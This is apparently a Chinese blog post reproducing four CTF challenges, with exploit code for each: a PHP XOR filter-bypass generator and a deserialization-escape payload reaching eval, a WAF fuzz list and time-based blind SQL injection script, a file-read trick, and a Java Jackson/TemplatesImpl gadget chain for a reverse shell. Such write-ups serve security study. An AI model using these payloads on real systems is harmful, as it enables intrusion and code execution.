2023巅峰极客复现

那天我在加班,题都来不及看,研究牲是这样的。

unserialize

题目信息

访问ip/www.zip获取源码:
image.png
image.png
看function.php可以发现是一个经典的反序列化字符串逃逸,思路可以参考这个:
[0CTF] piapiapia,另外my.php里套了个无数字字母getshell。
image.png

利用思路

  1. 利用"bbbbbb"换成"aaaa",每次逃逸2个字符,覆盖掉pwd这个属性,让我们的恶意对象被识别成属性
  2. pull_it对象反序列化后,被销毁的时候要过waf,用异或方法
  3. 执行到eval方法

EXP

绕过无数字母

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x
# python3

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function: ") )+action(input("[+] your command: "))+";"
   print(param)

image.png
最后记得再Base64编码一下
image.png

反序列化逃逸

<?php

class pull_it {
	private $x;

	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
//		if (eval($preg_match)) {
		if (false) {
			echo $preg_match;
			exit("save_waf");
		}
		eval($this->x);
		}
	}	
}

$p = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTA0JTA5JTA5Il4iJTYwJTYwJTdiIik7")));
echo urlencode(serialize($p));
?>

计算需要逃逸多少,可以自己echo出序列化的字符串,在本地慢慢调试

# 执行system("dir");
pwd=";s:6:"Jasper";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A33%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%04%09%09%22%5E%22%60%60%7B%22%29%3B%22%3B%7D
&root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

执行成功
image.png

注意事项

HackBar要选这个编码,不然利用失败,真不如Postman吧TnT
image.png
计算逃逸需要多少个"bbbbbb"的时候,别忘记private自带的两个空白,这里要+2
image.png

hellosql

题目信息

起手一个Warning,结合名字知道是SQLI,简单测试一下,发现有WAF
image.png

利用思路

Fuzz一下可用字符

# 被过滤的关键字
Payload	Length

count	653
/*	653
benchmark	653
UNION	653
sleep	653
IF	653
/**/	653
*/*	653
//*	653
UNION	653
UNIon	653
union	653
Count	653
COUNT	653
BENCHMARK	653
SLEEp	653
sleep	653

# 没被过滤的关键字

%20	669
%22	669
%23	669
%27	669
else	669
@	669
=	669
%a0	669
%0d	669
from	669
%0c	669
INFILE	669
sys.schema_table_statistics_with_buffer	669
FLOOR	669
CURSOR	669
XOR	669
SEPARATOR	669
sys schemma	669
in	669
RLIKE	669
REGEXP	669
BEFORE	669
for	669
mid	669
%0b	669
%0A	669
%0a	669
users	669
,	669
669
`	669
WHERE	669
WHEN	669
VERSION	669
VARCHAR	669
VALUES	669
UPDATE	669
669
ord	669
substring	669
bin	669
format	669
instr	669
TRUE	669
THEN	669
TABLE	669
SQL	669
SHOW	669
updatexml	669
SET	669
SELECT	669
SCHEMA	669
REPLACE	669
RENAME	669
OUTFILE	669
ORDER	669
by	669
CAST()	669
order 	669
extractvalue	669
ON	669
ORD	669
LIMIT	669
concat	669
concat_ws()	669
%df	669
TABLE_SCHEMA	669
information_schema.tables	669
rand()	669
floor	669
DROP	669
DELETE	669
alter	669
DATABASES	669
DATABASE	669
CREATE	669
group_concat	669
GROUP_CONCAT	669
CONCAT	669
COLUMN	669
CAST	669
inset	669
drop	669
delete	669
update	669
set	669
prepare	669
AND	669
ADD	669
WHERE	669
WHEN	669
VALUES	669
VALUE	669
USING	669
USER	669
UPDATE	669
THEN	669
TABLE	669
SET	669
SELECT	669
SCHEMA	669
ORD	669
ORDER	669
OR	669
user	669
infromation_schema	669
|	669
ON	669
OF	669
NULL	669
NEXT	669
NAMES	669
LIKE	669
LEVEL	669
LEFT	669
LEAVE	669
JOIN	669
INTO	669
HAVING	669
GROUP	669
anandd	669
//	669
/	669
oorr	669
||	669
&&	669
&	669
"	669
right	669
left	669
database	669
select 	669
ASSic	669
ASSIC	669
ascii	669
REVERSE	669
+	669
length 	669
"	669
admin'	669
when	669
'1'='1	669
case	669
END	669
CREATE	669
COlumn	669
COLUMN	669
CAST	669
By	669
BY	669
ANd	669
AND	669
=	669
^	669
.	669
)	669
<	669
>	669
(	669
<>	669
xor	669
+	669
%	669
!	669
;	669
--	669
INFORMATION	669
--+	669
#	669
right	669
INSERT	669
insERT	669
insert	669
SELECT	669
select	669
Left	669
left	669
LimIt	669
limit	669
-~	669
As	669
as	669
oR	669
or	669
having	669
delete	669
DATABASe	669
database	669
SeleCT 	669
select	669
LiKe	669
like	669
handler	669
+	669
Length	669
length 	669

测出一条可用payload模板

pl_moudle = "http://192.168.147.133/index.php?id=1' and case when({}) then (select avg('A') from information_schema.character_sets A, information_schema.columns B, information_schema.tables C) else 1 end --+"

笛卡尔积可以去mysql的系统库里找延时比较合适的,比如下面这条,延时大概在2~3s,比较适合盲注

select avg('A') from information_schema.character_sets A, information_schema.columns B, information_schema.tables C

套时间盲注脚本

这里参考大头师傅的脚本

#! -*- encoding:utf-8 -*-
# python3
# author: leticia
import time

import requests
import string

s = ""
dic = string.printable.replace("*", "")
pl_moudle = "http://192.168.147.133/index.php?id=1' and case when({}) then (select avg('A') from information_schema.character_sets A, information_schema.columns B, information_schema.tables C) else 1 end --+"
for i in range(1, 100):
    for c in dic:
        pl = pl_moudle.format("(substr(({}),{},1)=BINARY('{}'))").format("select Flagg from Flllag", str(i), c)
        # print(pl)
        now = time.time()
        try:
            res = requests.get(pl)
        except Exception as e:
            pass

        if time.time() - now > 2:
            s += c
            print(s)
            break

print(s)

image.png
感觉这脚本还能优化,有时间再来搞吧。

hinder

题目信息

提示hinder,访问对应目录被拒绝,看了题解发现要URL全编码emmm
然后提示了一个任意文件读
image.png

利用思路

非预期

非预期就是文件任意读,看其他题解,发现是读的/proc/1/cmdline,然后
在start.sh、run.sh这种启动文件里找到flag了。
image.png

这里大头师傅的环境修了这个问题,只能模拟一下了
image.png
我直接去docker里找到文件,改了权限读出来,阁下又该如何应对?
image.png

预期

看大头师傅说,思路应该是打s2-061的IndexAction类logger属性的log4j
作为Java安全刚入门的新人,只能等题解了。

注意事项

用hackbar的话,URL编码了也绕过不了,这就是hackbar带给我的自信
image.png
建议用postman或者bp

babyurl

题目信息

给了Jar包,用JD-GUI反编译查看源码
image.png
这里出题人用自定义的ObectInputStream,是为了HOOK resolveClass来实现反序列化类的黑名单校验
image.png
没有额外依赖库可用
image.png

这题有两个思路,一个是SignedObject二次反序列化,另一个是直接Jasckson反序列化一把梭。

解题思路一

直接用Aliyun CTF的Bypassit1的Exp,改一改直接一把梭。
要改的是,解决Jackson反序例化链子的不稳定性,本质是因为调getter的时候,还没调到目标函数就error了
如下图,先调用了getStyleSheetDOM,然后报空指针错误,导致后面链子无法触发。
image.png
解决方案就是封装一层代理,源码分析放在参考链接,这里就不深究了。

public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        setFieldValue(templates,"_name","Jasper");
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Exec.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory
//        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //利用JdkDynamicAopProxy封装templates,使得Jackson稳定触发到要用的getter
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode pojoNode = new POJONode(proxyObj);

        BadAttributeValueExpException bavee = new BadAttributeValueExpException(null);
        setFieldValue(bavee,"val",pojoNode);
        serialize(bavee);
//        unserialize();
    }

    public static void serialize(Object o) throws Exception{
//        FileOutputStream fos = new FileOutputStream("object.ser");
//        ObjectOutputStream os = new ObjectOutputStream(fos);
//        os.writeObject(o);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(o);
        out.close();
        String res = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(res);
        System.out.println("序列化完成...");

    }
    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

运行上面的Exp,把Payload发过去,等反弹shell,可以看到这里正常调了我们要的函数
image.png
成功上线
image.png
suid提权
image.png

解题思路二

signedObject二次反序列化,暂时不想搞。

参考链接

利用resolveClass实现黑名单
反序列化方法readObject的原理剖析
解决Jackson链的不稳定性
大头师傅的复现

posted @ 2023-12-06 22:00  Jasper_sec  阅读(48)  评论(0编辑  收藏  举报